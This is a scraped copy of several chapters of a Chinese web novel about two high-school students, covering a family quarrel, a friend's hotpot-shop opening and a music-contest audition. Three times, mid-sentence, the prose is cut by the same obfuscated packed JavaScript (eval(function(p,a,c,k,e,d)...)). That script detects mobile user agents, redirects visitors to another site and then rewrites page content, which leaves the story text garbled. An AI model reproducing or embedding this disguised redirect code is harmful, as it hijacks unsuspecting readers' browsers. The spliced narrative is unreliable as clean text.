两人便在路边早餐店里吃着热气腾腾的小馄饨,早餐店已经人来人往,除了学生还有早起的上班族,孔栩跟邱以星点的一样,红油小馄饨吃得他嘴唇通红,不停地擤鼻涕,张嘴斯哈斯哈吸凉气。 邱以星递给他两张纸:“其实你压根不会吃辣吧?上回的炸鸡你也没吃完。” 孔栩火速干完馄饨,忙吸了一大口酒酿圆子,酸酸甜甜的酒酿圆子立即中和了口腔和嗓子眼的疼痛,眨掉眼底的眼泪,他压着嗓子说:“是不会,但我最近特别想尝试自己不太擅长的东西。” “哦,”邱以星意味深长地说,“叛逆期到了。” 孔栩:“难道你没有?” 邱以星仔细回忆过往经历,思索道:“没有吧。” 孔栩一点儿也不信,心说他刚开学那段时间简直太讨人厌了,就不可能是老老实实乖乖听人话的类型。 吃完早餐,两人一起去学校,孔栩在校门口看见了满脸怒容的何斯清。 何斯清拎着他的书包,浑身散发出一股浓黑的生人勿进的气场,凡是踏入半步,都要不得好死的那种。 她见到孔栩,一句话没说,扬手就是一巴掌。 38. 第 38 章 距离上次被何斯清扇耳光已经有好几年了,那是个冬天,孔栩跟何斯清吵了一架,鞋都没穿就跑出了家门,何斯清在后面没有追上,他小小一团很快消失在何斯清的视线。 整整一天,何斯清都没找着孔栩,最后不得已报警,警察查监控才发现他躲在他们小区的垃圾桶后面,浑身脏兮兮的,饿得两眼发花,差点去翻垃圾桶看看有没有好心人扔吃的。 那时候的何斯清比现在还要暴脾气,拿起一根藤条直接对着他开抽,把孔栩抽得上蹿下跳,鬼哭狼嚎,闹得整个小区都知道了孔栩离家出走的“光荣事迹”。 孔栩不是第一回干,他也不是几岁小孩,何斯清知道他有能力照顾好自己,可何斯清还是怒火中烧,当众给了孔栩一巴掌。 多少双眼睛在看,震惊的,不解的,看热闹的……孔栩摸了一下滚烫的脸,从她手里接过书包,没事儿人似的跟邱以星淡淡说了句:“走吧。” 邱以星没料到何斯清会对孔栩下这么重的手,他挡在何斯清和孔栩之间,梗着脖子刚要对何斯清说什么,孔栩侧过脸对他重复说:“邱以星,这么多人呢,走吧。” 他连忙揽住孔栩肩膀,瞥了一眼何斯清,飞快带孔栩离开了校门口。 孔栩进班后就把脸埋在了胳膊肘,邱以星看了他一眼,找人要了一瓶矿泉水,沾湿纸巾,拧到不滴水,然后抬起孔栩的脸,轻轻地贴在了他发红发烫的脸颊上。 “你果真很贤惠。”孔栩眼底也是红红的,好在没哭,他说,“我没事,你别替我难过。” 邱以星说:“抱歉。” 孔栩见邱以星这么说,反倒纳闷起来:“有什么好抱歉的。” 不能保护你很抱歉,不能对你做出什么承诺很抱歉,对你眼下的苦恼与困境一无所知很抱歉……可邱以星不会对他这么说,只是说道:“我反应太慢,没能及时阻止她。” “别想那么多,她早上不打,晚上也会打,迟早的事,”孔栩毫不在意地说,“也怪我惹她生气,养我这样一个不省心的小孩也挺痛苦的吧。我们顶多算是彼此彼此。” 邱以星摸了摸他的脑袋,没再说话,让他过个十分钟再换一张纸巾,这样容易消肿。 下午放学后,何斯清来找孔栩,直接带他回的家。 孔栩抱着书包坐在后座,一路没跟何斯清说话,何斯清酝酿许久想开口,看见后视镜里孔栩偏过脸,一脸拒绝的样子,也闭上了嘴。 何斯清对孔栩实在是没有什么好办法,好说歹说都不听,只要他认定的事,即使撞得头破血流也别指望他能回头。 孔栩回家后把自己关在屋里复习功课,何斯清叫他出来吃饭他也不应,于是何斯清不再叫他。 学到九点多钟,孔栩终于装不下去,轻手轻脚地推门去找吃的,找到两袋肉松小面包,又给自己泡了一杯蜜蜂牛奶,很满意地点点头,把吃的喝的都带回了房间。 他一边咀嚼一边走神,心想还没跟何斯清坦白,她就这样气成这样,万一她知道自己不再弹琴,岂不是要把自己给打死? 孔栩百无聊赖地在桌上翻找单词本,忽然一只纸飞机晃晃悠悠地飞落在地。 他弯腰捡起,想起来是上次和邱以星出去玩,随手接的一张传单折成的纸飞机,没扔,带回来了。 传单什么内容他也没看,鬼使神差地两手拆开纸飞机,他的手腕也差不多恢复,再过几天就能拆掉支具,做康复训练了。 这是一张音乐选秀的传单,页面中间非常夸张地印着一只金光璀璨的话筒,不限专业,不限背景,不限年龄,目前正在海选阶段,甚至还有徐如夜来当评委。 孔栩皱了下眉,这不是上次黄毛说的音乐选秀么。 他的视线落在最后一行字上: 《声而逢时》——让世界听见你的声音。 孔栩把传单恢复成纸飞机,对准垃圾桶,咻的一下,精准投了进去。 然后他给邱以星发消息:呼叫邱以星!! 邱以星:怎么了? 孔栩:周六有空吗? 邱以星:有啊,我记得你这周六去医院复查,我陪你。 没想到邱以星这么上道,他准备好的说辞全派不上用场了:太好了,谢谢全天下最好的邱以星。 邱以星:我发你个东西。 孔栩等了几秒钟,邱以星传来一张图片,是他手写的简谱,孔栩一眼认出来,是邱以星之前哼的那首:嗯?你写好了? 邱以星:这是我们一起写的,你要不要给它起个名字。 孔栩犹豫了片刻,他自己没写过歌,玩笑性质地改编过不少曲子,何斯清骂他不务正业,他也就很少这么玩了,给一首曲子起名字令他无端生出几分敬畏,于是他说:我想不出来。 邱以星:好吧,不急。 孔栩:非我起吗?你先有的灵感,你起比较合适吧。 邱以星:我想让你起,你有想法再说。你还有别的事跟我说吗? 孔栩:没了。 邱以星:我听网课呢,明天见。 孔栩:明天见。 孔栩洗漱完毕,关了灯,心中轻轻地低吟邱以星的歌——自己虽然也参与,但基调是邱以星给的,给邱以星的歌起名字,有点像给别人的孩子冠自己的姓,他有点不好意思,又有点高兴。 在酝酿着起什么名的想法中,孔栩一觉睡到了天亮。 孔栩和何斯清再度陷入冷战,这次时间持续更长,双方都没有向对方承认错误的丝毫苗头,孔栩恢复了回家就闭嘴的状态,偶尔有一次撞见了孔嘉年,孔嘉年欲言又止想跟他说什么,孔栩却跟没见到人一样,从他身边大步迈了过去。 这是何斯清的房子,他没有资格赶人,但总有权利无视。 时间转眼来到周六,孔栩去医院复查,检查情况良好,白天支具可以摘下来,顺便做一做康复运动。 邱以星也重重松了口气,这一劫总算是有惊无险地过去了。 孔栩稍微活动了一下手腕,医生说仍旧不能剧烈运动,再注意一周,他已经算是好得快的了。他终于摘了支具,心情也跟着一并放飞,邱以星捏了捏他的手指:“庆祝一下?” “好啊,去哪儿?” “火锅吃吗?我朋友今天火锅店开业,我们去支持一下。” 孔栩吃惊:“邱以星,你还有开火锅店的朋友呢?” 邱以星:“别大惊小怪,我还有数学满分的朋友。” 孔栩:“我啊?可我觉得开火锅店比较厉害。” 邱以星:“你以后可以去开火锅店,可是开火锅店不一定数学满分。” 这个逻辑……孔栩觉得还挺有道理,他连连点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041008|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“没错,看来还是我厉害一点。” “走了,还傻笑呢。”邱以星拉住他的手,“我们先去花店一趟。” 丁尧最终决定开一家火锅店,店面地址离他家只有三条街,在朋友圈里一通宣扬,大家都纷纷留言说恭喜,要来捧场。 能来多少人他说不准,这些年东奔西跑的,其实也没交到多少朋友,店铺面积不大,他还雇了个服务员端盘子,自己一个人在后厨跟奶奶一起忙活,鞭炮一放,整条街都噼里啪啦地响,搞得真挺像那么回事似的。 可丁尧知道,这一切跟之前那些打打闹闹的尝试不同了,他没法仗着年轻说还能多玩几年,开火锅店也并非心血来潮,而是经过他仔细考察对比,上至店铺装潢,下至菜单选品,都是他一手敲定,最忙的时候简直晕头转向,感觉身体都不属于自己了。 没过一会儿一辆货车运来十多个两米多高的花篮,每个花篮上都有一张贺卡,丁尧在门口一边发传单,一边搓了搓手,拿起一张贺卡,上面写:祝生意兴隆,客似云来。 这谁送来的? 他没寻思明白,店里终于来了几位新客人,他挠了挠头,热情洋溢地挂上笑容:“欢迎光临,里边请——开业大酬宾,今天所有菜品八折,发个朋友圈88个点赞可免费领取一份毛肚。” 然后他就去后厨忙活去了,一分钟后门口又来了一辆货车,运来十个两米高的花篮,样式与之前的不同,但都一样美观红火。 奶奶望着门口这些没地摆的花篮,望篮兴叹:“这都是谁送来的,把路都给堵住了。” “奶奶!开业大吉!”一个响亮的声音响起,彭天顶着一头显眼的黄毛出现了,“这十个是我和全小潭买的,添点儿喜气——嚯,那是谁买的,这么大阵仗,还挺有品位。您最近身体怎么样?别老是站着,医生不是让您经常歇着,我和全小潭来帮忙。” 奶奶望着他一头闪瞎人眼的黄毛,想撇开视线但按捺住冲动,朝他慈祥地说:“你们来了,都是客人,你们坐,我去叫尧尧。” “别叫他了,他忙着呢,”全小潭按住奶奶的手,把她搀扶到一边坐下,“您今天就坐这儿,等会儿还有人过来,我摇了几十号人,怕他忙不过来给他打下手。” 奶奶欣慰地看着他们,又看了看门口,似乎想说什么,彭天看穿了奶奶的心思,直说道:“奶奶,您想问邱以星那个叛徒来没来?看这情况肯定是不会来了,他早就瞧不起咱们,要跟咱们分道扬镳呢。” “你不要这么说,小邱他人不坏的。” “他还不坏,他的坏表面是看不出来的,实际上一肚子坏水。奶奶,您不了解他,”彭天继续在邱以星背后讲他坏话,“我认识他这么多年还不知道他吗?” 奶奶不敢苟同,也不想跟孩子继续争执,只好不说话。 彭天和全小潭撸起袖子打算开干,这时邱以星和孔栩也到了门口。 孔栩仰头一看,店名朴实无华,就叫“小丁火锅”,门头是极鲜亮的红色,看着很喜庆。 “邱以星,”孔栩笑着对邱以星说,“门口好热闹啊——” 他一脚先踏入火锅店,与系着围裙,忙得热火朝天的彭天对上了视线,孔栩的脸是三月的天,陡然一变:“你怎么在这?” “我去,”彭天往桌上一扔抹布,“真尼玛冤家路窄。” 39. 第 39 章 两眼瞪成斗鸡的彭天一把被全小潭拉去后厨洗盘子。 孔栩一脸莫名其妙:“他怎么在这?” 邱以星便稍微跟他提了两句前因后果,他转身又去问候丁尧奶奶:“奶奶好,您身体好些了吗?” “好多了,”奶奶眼中闪动着慈爱,看向孔栩,“这是你的朋友?” “嗯,”邱以星给奶奶介绍,“也是我同班同学。” 奶奶说:“你们坐,桌上有菜单,想吃什么自己点。” 彭天在后厨忿忿地洗盘子:“凭什么他来张口就是吃,我要在这洗盘子?!” 他怒而起身,朝邱以星大喊:“过来干活!没见到人手不够么,还真把自己当客人了?有没有脸?” 邱以星无奈,只好过去帮忙。 这个点人渐渐多起来,全小潭叫的那些朋友也陆续到场,穿着时髦洋气的男男女女将店里挤得水泄不通。 孔栩等邱以星不至,便把自己这桌座位让出来,自发加入到帮忙的队伍中。 他一边核对点菜单,一边推着小餐车有条不紊在店里转来转去,还能招呼客人,问要不要办卡,充值有优惠。速度快效率高,没出一丝错,一个人顶两个人使。 丁尧抹了把头上的汗,忙里偷闲问邱以星:“你上哪儿找来的帮工,干活也太利索了,这不得给人发工资啊。” 邱以星开玩笑:“给你帮忙你发,记得按两倍。” “你个吃里扒外的,还没挣着钱就给我往外搭,”丁尧笑骂道,“去把那桌的卫生收拾了。” 一直忙到下午两三点,人才渐渐离去,众人累得恨不得直接摊在地上。 彭天骂全小潭:“你他妈到底摇了多少号人,我手都要洗废了。” 全小潭本来怕开业第一天上门的人寥寥,没想到竟然如此火爆:“哪儿有那么多人,估计是开业第一天人流量多。” 他们几人把店里收拾干净后,丁尧端来一口四宫格的锅子,锅底分别是牛油麻辣、番茄、菌汤和酸汤锅,他说:“大家敞开吃,想吃什么点什么,辛苦大家了。” 丁尧这么说自然是没人跟他客气,他们点了满满一桌子肉,把后厨里准备的食材几乎一扫而空。 上次聚在一起吃饭的记忆并不愉快,彭天只顾闷头跟全小潭抢肉,把邱以星完全当做是透明人。 丁尧问邱以星:“最近忙什么呢,找你总也找不着人。” “学习,”邱以星一本正经,“我现在的主要任务是备战高考,考个好大学。” 彭天冷笑一声:“给你装的。” 孔栩适时插话:“说实话怎么是装,你不想装一装吗?” 彭天恨恨地瞪着孔栩,这家伙是找茬来了? 孔栩故作惊讶:“真是好大一双眼睛,不做探照灯可惜了。” 彭天:“……” 邱以星给孔栩从番茄锅里捞了一大勺手打虾滑:“吃吧。手还行吗?” “没事,”孔栩夹起虾滑吹了吹气,“我注意着呢。” 丁尧问了一句:“你手什么了?” 孔栩早注意到丁尧缺了两根手指,也不想当着他面矫情:“骨裂,好得差不多了,刚拆了支具。” 奶奶听了,很是怜爱:“哎呦,你不该干那么多活的,万一落了后遗症怎么办。” “奶奶,我真好了,不信你看。” 孔栩刚要转自己的手腕,被邱以星喝止:“行了,支具晚上还要戴,别逞能。” “好吧,”孔栩朝奶奶弯了弯眼睛,打小报告,“您看,邱以星现在就这么凶,长大了还得了。” 彭天此时啪嗒一声,扣开一罐啤酒,丁尧想要阻止,被全小潭拦下:“让他喝,他有心事,喝多了就不难受了。” 他一人喝了三罐啤酒,跑了三趟卫生间,脸蛋红扑扑的,一颗头是分明的西红柿炒鸡蛋,两眼晕乎乎往桌上一趴,昏死过去一般,一动不动了。 全小潭摆手:“没事,我等会给他扛回去。” 孔栩看着彭天这副模样,撞了撞邱以星的胳膊:“其实症结还是在于你对不对?还是上次你说要退出乐队的事?他不同意,一直耿耿于怀。” 邱以星“嗯”了一声。 彭天忽然打了个酒嗝,晃晃悠悠地直起身,看向邱以星,断断续续地说:“邱以星……你、是我们这几个人里面最有出息的……不要放弃啊……不要放弃……” 说到一半他又哐当砸回了桌上。 “什么意思?”孔栩说,“他在让你不要放弃……音乐?” 邱以星笑了一下:“怎么算‘不放弃’?我不是在跟你学弹钢琴?” “这不算,”孔栩说,“你要被很多人看见,像在乐队舞台上被万丈光芒笼罩,像有无数鲜花掌声环绕,你天生就适合这个舞台。” “可……”邱以星艰难地张了张口,“可如果乐队里的那个‘我’并不是我真实的样子呢?” 孔栩顿住,眨了眨眼睛:“你是在午夜会被打回原形的灰姑娘吗?” 邱以星一愣,笑了:“灰姑娘……这都什么跟什么。” 这时关上的火锅店大门外站着两个奇装异服的人,一男一女,男的穿着皮衣挂着一身叮叮当当的链子,女的染着一头火红的头发,画着浓浓的烟熏妆,丁尧用不着开门就闻到他们身上与全小潭如出一辙的同类气息,他踢了一脚全小潭:“去开门。” 全小潭小跑过去开门,只见皮衣男扯着嗓子说:“这地方也忒难找了,刚赶完上个场子,我在这里绕了半小时,我们是不是来迟了?” 奶奶虽已经瞧惯全小潭,可眼下又来两个翻版全小潭,实在令她接受无能,她主动说:“你们聊,我去准备晚上的食材。” “你是来迟了,”全小潭说,“我们已经休息了,不是挂了‘休息’的牌子吗?” “我看见你们吃着呢,”皮衣男从全小潭身旁越过,“我俩将就对付一口,可饿死我了。” 皮衣男背了个吉他包,像是刚从演出场地过来,放下吉他包,这两人毫无芥蒂地往桌上一坐,他拿起一副筷子,直接就着全小潭的碗吃起来,他跟全小潭混得挺熟,也认识丁尧,一边吃一边说:“还是你有头脑,这年头谁还在做原创音乐、玩乐队啊,谁玩谁得饿死。” 全小潭:“吃都堵不上你的嘴。” “哟,这不邱以星吗?”皮衣男看见邱以星,唾沫横飞,“稀客啊,多久没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048097|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?听说你也不玩了?你的那些小粉丝一直问你去哪儿了,怎么一直不露面,他们知道了肯定要伤心了。” 邱以星只是笑笑,没说话。 “你的吉他可以借我玩玩吗?”孔栩盯着皮衣男放在一边的吉他盯了半晌,忽然问他。 皮衣男大方地说:“尽管玩。” “你会吗?”邱以星见他熟练地拉开吉他包,抱起吉他,轻轻地在弦上划了一下。 “会啊。”孔栩说,“我只是不常玩。” 他没用拨片,柔软的指腹按在琴弦上,很标准的姿势,接着他弹了一首曲子,邱以星微微张大了眼睛,孔栩的表情认真,手指游刃有余地弹着吉他,众人说话声渐渐停了,专注地听他演奏。 弹毕,孔栩问:“怎么样?” 皮衣男托了托自己合不拢的下巴:“这新歌吧?谁写的,你弹得不赖嘛。” “邱以星的新歌,”孔栩脱口而出,“叫做《崭新的歌》。” 那瞬间,孔栩只想起这个名字,完全崭新的、不同于过去的歌,他转头看向邱以星:“意思是即使之前的那个不是真实的你,也代表你可以重新被认识。” 孔栩的想法直接而简单,重新认识就好了啊,新的邱以星。 邱以星的眼眶却飞快红了,他深深地呼吸,眨掉眼角的湿意。 大多数时刻他都会把自己和之前的“邱以星”壁垒分明地切割开,他不知道该如何陈述“那个人”究竟是谁,是邱以睿,还是他自己,亦或是介于他们二者之间的人? 人靠记忆延续生活,他缺失一段记忆,也不能保证在未来某天会不会毫无预兆地再度变成“那个人”,越发不想沉睡的念头牢牢霸占着他的大脑,他想要活着,以邱以星的声音、邱以星的样貌、邱以星的精神和灵魂,在这个有孔栩的世界上活着。 好不容易安静下来的彭天忽然又直起身体,嘴里叽叽咕咕地囔囔:“混账邱以星,别以为写了新歌就有多了不起,没人听不还是一堆狗屁,连狗屁都不如——” 孔栩伸手把彭天的头按下去:“小嘴巴,闭起来。” 他把吉他收回包里,然后拉起邱以星起身跟众人告辞:“我们吃饱了,等会儿还有点事,你们慢慢吃,帮我们跟奶奶说一声,我们就先走了。” 丁尧忙说:“我送送你们。” “不用,”孔栩虚情假意地微笑,“你开着店抽不开身,有空再聚。” 孔栩朝他们挥了挥手,临走看了一眼趴在桌上眉头拧得死紧的彭天,心说,怎么可能会没人听,即使没人听,他也愿意当邱以星的唯一听众。 可彭天说的话不无道理,离开火锅店后,孔栩一直在默默沉思,邱以星问他:“想什么这么出神?” 孔栩便说实话:“邱以星,彭天上次说的那档音乐选秀,你要不要考虑考虑自己一个人去?” “我一个人?”邱以星指了指自己。 “没错,”孔栩说,“即使你不继续玩乐队,可你还喜欢音乐,这是个不错的机会,就算没入围,能见徐如夜一眼也不错。万一要到他签名,转手还能卖一笔,稳赚不赔的买卖,不是吗?” “财迷。”邱以星说,“让我想想吧。” 40. 第 40 章 距离《声而逢时》的海选时间已经快要截止,邱以星答应回去考虑,虽说考虑,但孔栩让他做的事他一般都不会拒绝。 这的确是个不错的机会,可即使入围又能代表什么?他难道还能不上学出道当艺人? 这世上才华横溢的歌手俯拾皆是,同样的,过了大半辈子籍籍无名的歌手也一抓一大把,凭什么世界要听见你的声音,你算老几。更何况他又没人脉没资源,顶多路过打个酱油。 他不愿扫孔栩的兴,只是笑笑,没有多说什么。 孔栩的手开始复健,两人也继续泡在琴房,经常一呆就是几个小时,孔栩嘴上说着以后再也不要弹琴,但这首歌中钢琴承担了很重要的和声,磨了一周左右终于把《崭新的歌》的编曲做得更丰富,只是他们做原创的经验太过稀缺,听来听去孔栩总觉得有地方不满意,但没有更多时间给他们调整,他们紧赶慢赶将伴奏录下来,就已经到了海选的最后一天。 这是一个普通而平凡的周六,十一月中旬,平均气温11度左右,无风,太阳高照,世界温暖明亮。 孔栩穿着一件银白色的工装夹克,从头到脚都收拾得整整齐齐,在路边等邱以星,一见到邱以星便指着他的蓝色卫衣,一脸严肃:“拜托,大哥,今天你就穿这?这么爱穿卫衣,你是卫衣成的精吧?” “又不是去选美,”邱以星说,“打扮得再好看有什么用。” “不是这个道理,字儿写得好还能拿五分卷面分呢,这年头长得好看有加成,”孔栩说,“人评委一看,心说‘这孩子长这么标致,不用唱了,直接就让他入围吧’。” 邱以星被他逗乐了:“你也想得太美了,走了,公交车赶不上了。” 海选地址在新建的一个大商场中庭区域,由于是最后一天,参加海选的人来的稀稀拉拉,折叠椅上只坐了几个人,其中大半还是逛商场累了,找个歇脚的地方。 周围负责维持秩序的志愿者也都打着哈欠,提不起劲。 唯一带来一丝氛围的是节目组安排的各种线下物料,巨大的背板横贯东西,铿锵有力地印着“声而逢时”四个艺术体大字,逛商场的人经过时偶尔瞄一眼,又离开。 邱以星在场务的带领下,填完了参赛报名表,场务给了他一个圆形的号码贴,印着数字963,贴在胸口,又被引导至候场区等待。 孔栩东张西望,邱以星一捏他下巴把他头掰正:“‘徐如夜’的名字是个噱头,这种海选现场不可能请得动这尊大神的,你别找了。” 距离海选现场不远处有双十一返场活动,主持人拿着话筒高声喊:“全场服装统统五折!秋冬新款,围巾帽子羽绒服、毛衣靴子打底裤,买不了吃亏买不了上当,统统五折,统统五折!” 孔栩捂住耳朵,靠着邱以星肩膀:“音响效果这么好,吵得这边还能听清楚唱什么吗?我去偷偷给他把音响线剪了。” “别说胡话。”邱以星说,“你怎么比我还紧张。” 孔栩嘴硬:“我哪紧张了。” 邱以星:“你每次口不对心就会眼神乱飘,还有你的腿抖什么。” 孔栩:“……好吧,适当的紧张有助于提升肾上腺素和去甲肾上腺素,能让精神更集中,你一点儿也不紧张吗?” 邱以星是个文盲,听了几个不懂的名词不明觉厉,握拳说:“我努力。” 很快到邱以星上场,台下坐着三名评委模样的人物,他们面前有三张长桌,上有评分表和黑色签字笔。 导演助理手持一台索尼DV,录制现场内容,邱以星上台前将录着伴奏的U盘给了场务。 场务是自带的笔记本,U盘一插进去,突然间屏幕一黑,场务的脸也随之黑了,随后他淡定地一抬手:“没事,我重启一下。” 电源键像是坏了,按了半天也毫无反应,破电脑支撑不住在这个节骨眼上瘫痪,场务非常不好意思地问:“……能清唱吗?” “可以。”邱以星认命了,前面都好好的,一轮到他就出问题,伴奏是他和孔栩录了好多遍才选择的相对完美的一版,他只是有些可惜。 孔栩见状不对劲,径直走过去问:“怎么回事?” 邱以星摆手说:“没事,你回去坐着吧。” 场务如实告诉了他,孔栩皱着眉:“没有备用的电脑吗?” “没有了。”场务也是被临时拉过来干活的,最后一天了,大家都不把这事当回事,总想赶紧下班走人,自然是怎么方便怎么来,电脑坏了不会想办法借或者维修,听天由命吧,不被命运眷顾的人也属于被淘汰的那一批。 孔栩心想这是什么草台班子,估计评委也没多专业,他四下张望,看见坐在等候区靠边位置有个扣着兜帽的年轻男生,跟他们差不多年纪,腿边放着一把吉他,似乎正等着上台。 “能不能借一下你的吉他?”孔栩礼貌询问,中庭有钢琴,但距离太远,音也没调过,指不定走音成什么样,远水解不了近渴,他就近抱着试探的想法询问道。 男生闻声抬起头,用诧异的目光扫视一眼孔栩,没料到会有人跟他搭话。 “呃,”男生犹豫了一下,“这琴……” “我知道,马丁D-45,”孔栩保证说,“不会给你弹坏的。” “这琴不是我的,”男生连忙解释,“用这把琴的人有洁癖,最讨厌别人碰他琴,我也是好不容易求他给我玩两天,我给你打个电话问问吧。” 孔栩以为这是他的托词,不抱什么期望,开始寻找其他方法:“好吧。” 男生说要打电话,场务竟然没催促,评委们脸上也没不耐烦的神色,仿佛都在等他做决定。 他拨出去一个电话,张口低声说:“徐老师……哎,我陈颂啊,我在岚江的海选现场呢,监工,顺便找几个顺眼的人……对了,有人想弹一下你的琴,肯定比我专业,我就是来玩的……”他皱着五官,似是灌了一耳朵不堪入耳的痛骂,把手机拎得远远的,“好好好,我知道我知道,您不用再强调,就这样,拜拜!” “他说可以,”陈颂把吉他递给孔栩,对他说,“加油。” 场务问了句:“是谁弹?” 邱以星摇头:“我不会弹吉他,我朋友弹吧。” 场务不好做决定,低声询问三位评委中的其中一位,那位似乎才是说得上话的,那人听了之后来到他们面前,对陈颂说:“这不符合比赛规则,只能是参赛选手上场。” “规则是死的,你们是活的呀,能不能稍微灵活一点?”陈颂看向孔栩,“那个你,你也报个名得了。” 评委一时语塞,陈颂又说:“别干站着了,陆老师,您快去坐,本来今天就没什么人,海选就不能通融通融吗?而且主要责任在你们的设备临时出了问题,又不是总决赛,搞得这么紧张严肃干什么。” 他说完,评委便无奈地叹了口气,孔栩感激地看了一眼陈颂,抱着吉他上了台。 导演助理正式开始录制,邱以星站在话筒前,三位评委的目光直勾勾地朝他射过来,紧张的情绪这才姗姗来迟,有种大考时面对试卷的感觉。 孔栩弹奏的音乐抚平他的紧张,邱以星握住话筒,开始唱《崭新的歌》。 他已经唱了很多遍,多到哪个字眼该用什么情绪,换气时如何自然地衔接下一个音调,坐在台下的男生托着下巴沉默不语,仿佛在思索什么。 这些细枝末节邱以星完全没有注意,他的脑中反复回忆与孔栩在琴房里写歌的点点滴滴,两人共同趴在一张长方形的小桌上,孔栩低头拿着铅笔在草稿纸上涂涂画画,继而问他以后想要做什么,他迟疑了两秒,说不知道。 孔栩惆怅地叹息,说自己也不知道。 他们对未来都这样彷徨无措。 邱以星唱着他们一起写的歌: 我没有什么远大的理想 也没有攀登哪座高山的愿望 不是多聪明独特的人 如草如尘渺小又愚笨 要怎么活着才符合世人标准 每日每夜昏昏沉沉 每分每秒失焦失真 困守躯壳如牢笼 在无人光临的荒野游荡 这段是邱以星写的,孔栩觉得他太消极,于是改写了后面的副歌部分。 好在是他在弹吉他,他灵活的手指一扬,一阵激昂具有爆发力的琴声从音响里炸出,完全覆盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050739|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了双十一活动的喊声,紧接着是邱以星的歌声,他的声音太有辨识度,高音部分干净纯粹,几乎是吸引了所有周围人的目光,他们以为这里在举办什么演唱会,纷纷朝这边涌过来。 你听啊 远方奏响了冲锋号角 不要怕 虚弱的手指 也能锤炼出坚实的心脏 咚咚咚狂跳 再撑一秒吧 生命里有那么多无计可施与不圆满 请不要哀叹 这一秒拿什么换 这一秒千金不换 邱以星偏过头看孔栩,他想说不仅是这一秒,下一秒我也想陪你一起,陪你去往未来,哪怕那个未来深不可测,布满荆棘,我也想陪你走下去。 孔栩弹吉他弹得出了汗,吉他的确是好吉他,周围爆发出一阵热烈的喝彩,还有人吹起几声口哨。 不远处的陈颂不知何时站了起来,他眼中掺了一丝复杂的神色,孔栩把吉他还给他:“谢谢。” “……不客气,”陈颂接过吉他,挠了挠脸,“你弹得比我好多了。” 孔栩谦虚地笑笑,他会的乐器五花八门,拿到手都能玩一玩,吉他远远称不上有多熟练,这是一首新歌,所以他弹错几个音陈颂也不知道。 邱以星唱完后,场务叫后一位选手上场,叫了半天没人应答,这才发现后面的人在邱以星和孔栩表演完之后就溜了。 即使没人,他们也得到点才下班,场务兴趣缺缺地坐在一边刷视频,三位评委凑在一起讨论什么。 陈颂拉着邱以星和孔栩坐在折叠椅上,唠家常似的问他们:“看你们填的参赛表,你们还在读书啊?” 孔栩早看出陈颂并不是来参加海选的,他甚至跟主办方有点关系,他点了点头,陈颂好奇地追问:“这歌是你们自己写的?你们之前参加过类似的活动吗?” “是我们写的,但活动是第一次参加。”孔栩说。 “那你们有没有签过什么公司……” “没有,我——”孔栩还要说什么,邱以星忽然捏了一下他的手指,孔栩不解地看向他,邱以星说:“我饿了,我到现在还没吃早饭。” 孔栩:“你不早说?” 他朝陈颂摆了下手:“不好意思,我们先走了。” 陈颂“哎”了一声,刚想让他们留个号码,结果邱以星拉着孔栩,头也不回地跑远了。 他原地沉思片刻,然后走向评委,拿走他们桌上的两张报名表,对评委们说:“这两个人我要了,你们应该没有意见吧?” 陆旷皱眉:“陈颂,你别胡闹,这都录着呢,我们也都一致同意他们通过初选,等今天结束就统一打电话通知他们。” 陈颂却摇头,不赞成地说:“陆老师,他们和我差不多大,应该跟我更有共同语言吧?与其让他们满怀希望地进入海选、复赛、决赛,在最后关头被关系户一脚踢出来,不如一开始就来我这边,至少我还能求求徐如夜帮忙写几首歌。” “别拿徐如夜当挡箭牌,他这么多年不给人写歌,就算你哥是陈闵也未必能叫得动他,”陆旷板着面孔,“你要尊重游戏规则。” 陈颂拍了拍手掌,寸步不让地说:“‘规则’?当年徐如夜离开你,被迫成立响流工作室,不就是因为太过遵守‘规则’?他顾念一无所有时跟你打拼的情分,结果你却用一纸合同坑他,要不是我哥出手帮忙——” “行了,”陆旷脸色涨得通红,立即打断他的话,“当年的事不是你几句话就能说清楚的,徐如夜和我的关系也不是你这个外人能够妄加非议的。你是大少爷,又是节目赞助商的人,你想要两个人是何其简单,你心血来潮要搞什么音乐组合也都随便你,反正你后台硬,永远有人给你托底。可是你要想好,你可以随时抽身说不玩就不玩,反正你总有新鲜念头和想法,可他们能吗?他们就这一条出路,陪你玩不起!” “别这么激动啊陆老师,我是后辈,说话没轻没重的,要是让您心里不快活了,您可千万别往心里去。”陈颂达到目的,自然笑脸以对,不再咄咄逼人,“就算有那一天,我也会想好万全之计,不会让他们感到为难,您就放心好了。” 41. 第 41 章 